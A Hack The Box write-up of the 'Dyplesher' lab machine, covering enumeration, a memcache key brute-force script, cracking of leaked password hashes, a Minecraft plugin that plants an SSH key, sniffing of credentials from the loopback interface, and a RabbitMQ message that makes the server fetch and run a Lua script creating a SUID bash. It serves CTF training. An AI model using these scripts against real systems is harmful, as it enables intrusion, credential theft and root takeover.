Dyplesher - Hack The Box

Dyplesher was a pretty tough box that took me more than 10 hours to get to the user flag. There’s quite a bit of enumeration required to get to the git repo and then find memcached credentials from the source code. I couldn’t use the memcache module from Metasploit here since it doesn’t support credentials so I wrote my own memcache enumeration script. We then make our way to more creds in Gogs, then craft a malicious Minecraft plugin to get RCE. To get to the first flag we’ll sniff AMQP creds from the loopback interface. To priv esc, we send messages on the RabbitMQ bug and get the server to download and execute a lua script (Cubberite plugin).

Portscan

snowscan@kali:~/htb/dyplesher$ sudo nmap -sT -p- 10.10.10.190
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-23 20:59 EDT
Nmap scan report for dyplesher.htb (10.10.10.190)
Host is up (0.019s latency).
Not shown: 65525 filtered ports
PORT      STATE  SERVICE
22/tcp    open   ssh
80/tcp    open   http
3000/tcp  open   ppp
4369/tcp  open   epmd
5672/tcp  open   amqp
11211/tcp open   memcache
25562/tcp open   unknown
25565/tcp open   minecraft
25672/tcp open   unknown

Website

On the website we have a couple of non-functional links like Forums and Store. The Staff link goes to another static page with a list of staff users.

Dirbusting shows a few interesting links: login, register and home:

snowscan@kali:~/htb/dyplesher$ ffuf -w $WLRD -t 50 -u http://dyplesher.htb/FUZZ
________________________________________________

css                     [Status: 301, Size: 312, Words: 20, Lines: 10]
js                      [Status: 301, Size: 311, Words: 20, Lines: 10]
login                   [Status: 200, Size: 4188, Words: 1222, Lines: 84]
register                [Status: 302, Size: 350, Words: 60, Lines: 12]
img                     [Status: 301, Size: 312, Words: 20, Lines: 10]
home                    [Status: 302, Size: 350, Words: 60, Lines: 12]
fonts                   [Status: 301, Size: 314, Words: 20, Lines: 10]
staff                   [Status: 200, Size: 4389, Words: 1534, Lines: 103]
server-status           [Status: 403, Size: 278, Words: 20, Lines: 10]

The login and register URL show a login page. We can try a few default creds but we’re not able to get in.

Gobusting the home directory shows a couple of other directories, all of which we can’t reach because we are redirected to the login page.

snowscan@kali:~/htb/dyplesher$ ffuf -w $WLRW -t 50 -u http://dyplesher.htb/home/FUZZ
________________________________________________

add                     [Status: 302, Size: 350, Words: 60, Lines: 12]
.                       [Status: 301, Size: 312, Words: 20, Lines: 10]
delete                  [Status: 302, Size: 350, Words: 60, Lines: 12]
reset                   [Status: 302, Size: 350, Words: 60, Lines: 12]
console                 [Status: 302, Size: 350, Words: 60, Lines: 12]
players                 [Status: 302, Size: 350, Words: 60, Lines: 12]

Gogs website

There’s a Gogs instance running on port 3000. Gogs is a self-hosted Git service so there’s a good chance we’ll have to find the source code of an application on there.

We can see the same list of 3 users we saw on the Staff page but there are no public repositories accessible from our unauthenticated user.

When dirbusting the site we find a debug directory which contains the pprof profiler. I looked around and it didn’t seem to be useful for anything.

snowscan@kali:~/htb/dyplesher$ ffuf -w $WLDC -t 50 -u http://dyplesher.htb:3000/FUZZ
________________________________________________

                        [Status: 200, Size: 7851, Words: 456, Lines: 252]
admin                   [Status: 302, Size: 34, Words: 2, Lines: 3]
assets                  [Status: 302, Size: 31, Words: 2, Lines: 3]
avatars                 [Status: 302, Size: 32, Words: 2, Lines: 3]
css                     [Status: 302, Size: 28, Words: 2, Lines: 3]
debug                   [Status: 200, Size: 160, Words: 18, Lines: 5]
explore                 [Status: 302, Size: 37, Words: 2, Lines: 3]
img                     [Status: 302, Size: 28, Words: 2, Lines: 3]
issues                  [Status: 302, Size: 34, Words: 2, Lines: 3]
js                      [Status: 302, Size: 27, Words: 2, Lines: 3]
plugins                 [Status: 302, Size: 32, Words: 2, Lines: 3]

Vhost fuzzing

We haven’t found much yet so we’ll try fuzzing vhosts next and we find a test.dyplesher.htb vhost.

snowscan@kali:~/htb/dyplesher$ ffuf -w ~/tools/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -t 50 -H "Host: FUZZ.dyplesher.htb" -u http://dyplesher.htb -fr "Worst Minecraft Server"
________________________________________________

test                    [Status: 200, Size: 239, Words: 16, Lines: 15]

There’s a memcache test interface running on the vhost where we can add key/values to the memcache instance running on port 11211. There doesn’t seem to be any vulnerability that I can see on this page.

When dirbusting we find a git repository, then we can use git-dumper to copy it to our local machine.

snowscan@kali:~/htb/dyplesher$ ffuf -w $WLDC -t 50 -u http://test.dyplesher.htb/FUZZ
________________________________________________

index.php               [Status: 200, Size: 239, Words: 16, Lines: 15]
                        [Status: 200, Size: 239, Words: 16, Lines: 15]
.git/HEAD               [Status: 200, Size: 23, Words: 2, Lines: 2]
.htpasswd               [Status: 403, Size: 283, Words: 20, Lines: 10]
.hta                    [Status: 403, Size: 283, Words: 20, Lines: 10]
.htaccess               [Status: 403, Size: 283, Words: 20, Lines: 10]
server-status           [Status: 403, Size: 283, Words: 20, Lines: 10]

snowscan@kali:~/htb/dyplesher/git$ ~/tools/git-dumper/git-dumper.py http://test.dyplesher.htb .
[-] Testing http://test.dyplesher.htb/.git/HEAD [200]
[-] Testing http://test.dyplesher.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://test.dyplesher.htb/.gitignore [404]
[-] Fetching http://test.dyplesher.htb/.git/description [200]
[-] Fetching http://test.dyplesher.htb/.git/COMMIT_EDITMSG [200]
[...]

Inside, we find the source code of the memcache test application, along with the memcache credentials: felamos / zxcvbnm

<pre>
<?php
if($_GET['add'] != $_GET['val']){
	$m = new Memcached();
	$m->setOption(Memcached::OPT_BINARY_PROTOCOL, true);
	$m->setSaslAuthData("felamos", "zxcvbnm");
	$m->addServer('127.0.0.1', 11211);
	$m->add($_GET['add'], $_GET['val']);
	echo "Done!";
}
else {
	echo "its equal";
}
?>
</pre>

Memcache enumeration

We don’t have the list of memcache keys but we can write a script that will brute force them and return the values.

#!/usr/bin/env python3

import bmemcached
from pprint import pprint

client = bmemcached.Client('10.10.10.190:11211', 'felamos', 'zxcvbnm')

with open("/usr/share/seclists/Discovery/Variables/secret-keywords.txt") as f:
    for x in [x.strip() for x in f.readlines()]:
        result = str(client.get(x))
        if 'None' not in result:
        	print(x + ": " + result)

The memcache instance contains some email addresses, usernames and password hashes that we will try to crack.

snowscan@kali:~/htb/dyplesher$ ./brute_keys.py 
email: MinatoTW@dyplesher.htb
felamos@dyplesher.htb
yuntao@dyplesher.htb

password: $2a$10$5SAkMNF9fPNamlpWr.ikte0rHInGcU54tvazErpuwGPFePuI1DCJa
$2y$12$c3SrJLybUEOYmpu1RVrJZuPyzE5sxGeM0ZChDhl8MlczVrxiA3pQK
$2a$10$zXNCus.UXtiuJE5e6lsQGefnAH3zipl.FRNySz5C4RjitiwUoalS

username: MinatoTW
felamos
yuntao

We’re able to crack the password for user felamos: mommy1

snowscan@kali:~/htb/dyplesher$ john -w=/usr/share/wordlists/rockyou.txt memcache-hashes.txt 
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 1024 to 4096
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mommy1           (?)

snowscan@kali:~/htb/dyplesher$ cat ~/.john/john.pot 
$2y$12$c3SrJLybUEOYmpu1RVrJZuPyzE5sxGeM0ZChDhl8MlczVrxiA3pQK:mommy1

Getting access to the Gogs repository

We’re able to log into the Gogs instance with Felamos’ credentials. There’s two repositories available: gitlab and memcached.

The memcached repo contains the same information we got earlier from the .git directory on the test.dyplesher.htb website. However the gitlab repo contains a zipped backup of the repositories.

After unzipping the file, we get a bunch of directories with .bundle files. These are essentially a full repository in single file.

snowscan@kali:~/htb/dyplesher$ ls -laR repositories/
repositories/:
total 12
[...]
repositories/@hashed/4b/22:
total 24
drwxr-xr-x 3 snowscan snowscan  4096 Sep  7  2019 .
drwxr-xr-x 3 snowscan snowscan  4096 Sep  7  2019 ..
drwxr-xr-x 2 snowscan snowscan  4096 Sep  7  2019 4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a
-rw-r--r-- 1 snowscan snowscan 10837 Sep  7  2019 4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a.bundle

We can use the git clone command to extract the repository files from those bundle files. There are 4 repositories inside the backup file:

  • VoteListener
  • MineCraft server
  • PhpBash
  • NightMiner
snowscan@kali:~/htb/dyplesher/git-backup$ ls -la
total 28
drwxr-xr-x 7 snowscan snowscan 4096 May 23 16:55 .
drwxr-xr-x 6 snowscan snowscan 4096 May 24 11:26 ..
drwxr-xr-x 4 snowscan snowscan 4096 May 23 15:44 4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a
drwxr-xr-x 8 snowscan snowscan 4096 May 23 23:42 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce
drwxr-xr-x 3 snowscan snowscan 4096 May 23 15:43 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
drwxr-xr-x 3 snowscan snowscan 4096 May 23 15:43 d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35

There’s an SQLite database file inside the LoginSecurity directory:

snowscan@kali:~/htb/dyplesher/git-backup$ ls -l 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/plugins/LoginSecurity/
total 8
-rw-r--r-- 1 snowscan snowscan  396 May 24 00:44 config.yml
-rw-r--r-- 1 snowscan snowscan 3072 May 23 15:43 users.db
snowscan@kali:~/htb/dyplesher/git-backup$ file 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/plugins/LoginSecurity/users.db 
4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/plugins/LoginSecurity/users.db: SQLite 3.x database, last written using SQLite version 3007002

The file contains another set of hashed credentials:

$ sqlite3 ./4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/plugins/LoginSecurity/users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
18fb40a5c8d34f249bb8a689914fcac3|$2a$10$IRgHi7pBhb9K0QBQBOzOju0PyOZhBnK4yaWjeZYdeP6oyDvCo9vc6|7|/192.168.43.81

Here we go, got another password: alexis1

snowscan@kali:~/htb/dyplesher$ john -w=/usr/share/wordlists/rockyou.txt git-hash.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alexis1          (?)
1g 0:00:00:06 DONE (2020-05-24 11:36) 0.1501g/s 243.2p/s 243.2c/s 243.2C/s alexis1..serena
Use the "--show" option to display all of the cracked passwords reliably
Session completed

RCE using Minecraft plugin

Now that we have more credentials, we can go back to the main webpage and log in. We have a dashboard with some player statistics and a menu to upload plugins.

The console displays the messages from the server.

Looks like we’ll have to create a plugin to get access to the server. We can follow the following blog post instructions on how to create a plugin with Java: https://bukkit.gamepedia.com/Plugin_Tutorial

After trying a couple of different payloads I wasn’t able to get anything to connect back to me so I assumed there was a firewall configured to block outbound connections. So instead I used the following to write my SSH keys to MinatoTW home directory:

package pwn.snowscan.plugin;

import java.io.*;
import org.bukkit.*;
import org.bukkit.plugin.java.JavaPlugin;
import java.util.logging.Logger;

public class main extends JavaPlugin {

    @Override
    public void onEnable() {    	
    	Bukkit.getServer().getLogger().info("XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");
    	try {
		    FileWriter myWriter = new FileWriter("/home/MinatoTW/.ssh/authorized_keys");
		    myWriter.write("ssh-rsa AAAAB3NzaC1yc2EAAA[...]JsSkunC1TzjHyY70NfMskJViGcs= snowscan@kali");
		    myWriter.close();
		    Bukkit.getServer().getLogger().info("Successfully wrote to the file.");
		} catch (IOException e) {
			Bukkit.getServer().getLogger().info("An error occurred.");
		    e.printStackTrace();
		}
    	Bukkit.getServer().getLogger().info("YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY");
    }
    
    @Override
    public void onDisable() {
    	
    }
}

After adding and reloading the script, our SSH public key is written to the home directory and we can log in.

Privesc to Felamos

Our user is part of the wireshark group so there’s a good chance the next part involves traffic sniffing.

MinatoTW@dyplesher:~$ id
uid=1001(MinatoTW) gid=1001(MinatoTW) groups=1001(MinatoTW),122(wireshark)

As suspected, the dumpcat program has been configured to with elevated capabilities:

MinatoTW@dyplesher:~$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/dumpcap = cap_net_admin,cap_net_raw+eip

We’ll capture packets on the loopback interface in order to capture some of traffic for the RabbitMQ instance.

MinatoTW@dyplesher:~$ dumpcap -i lo -w local.pcap
Capturing on 'Loopback: lo'
File: local.pcap
Packets: 90

The pcap file contains some AMQP messages with additional credentials:

  • felamos / tieb0graQueg
  • yuntao / wagthAw4ob
  • MinatoTW / bihys1amFov

Root privesc

The send.sh file contains a hint about what we need to do next:

felamos@dyplesher:~$ ls
cache  snap  user.txt  yuntao
felamos@dyplesher:~$ ls yuntao/
send.sh
felamos@dyplesher:~$ cat yuntao/send.sh 
#!/bin/bash

echo 'Hey yuntao, Please publish all cuberite plugins created by players on plugin_data "Exchange" and "Queue". Just send url to download plugins and our new code will review it and working plugins will be added to the server.' >  /dev/pts/{}

Cubberite plugins are basically just lua scripts so we can created a simple script that’ll copy and make bash suid, then host that script locally with a local webserver.

os.execute("cp /bin/bash /tmp/snow")
os.execute("chmod 4777 /tmp/snow")

We’ll reconnect to the box and port forward port 5672 so we can use the Pika Python library and publish messages to the RabbitMQ messaging bus: ssh -L 5672:127.0.0.1:5672 felamos@10.10.10.190

#!/usr/bin/python

import pika

credentials = pika.PlainCredentials('yuntao', 'EashAnicOc3Op')
parameters = pika.ConnectionParameters('127.0.0.1', 5672, credentials=credentials)
connection = pika.BlockingConnection(parameters)

channel = connection.channel()

channel.exchange_declare(exchange='plugin_data', durable=True)
channel.queue_declare(queue='plugin_data', durable=True)
channel.queue_bind(queue='plugin_data', exchange='plugin_data', routing_key=None, arguments=None)
channel.basic_publish(exchange='plugin_data', routing_key="plugin_data", body='http://127.0.0.1:8080/pwn.lua')
print("Message sent, check the webserver to see if the LUA script was fetched.")
connection.close()
snowscan@kali:~/htb/dyplesher$ python3 exploit.py 
Message sent, check the webserver to see if the LUA script was fetched.

felamos@dyplesher:~$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
127.0.0.1 - - [24/May/2020 15:57:29] "GET /pwn.lua HTTP/1.0" 200 -

After a few moments, the LUA script is executed and we have a SUID bash we can use to get root.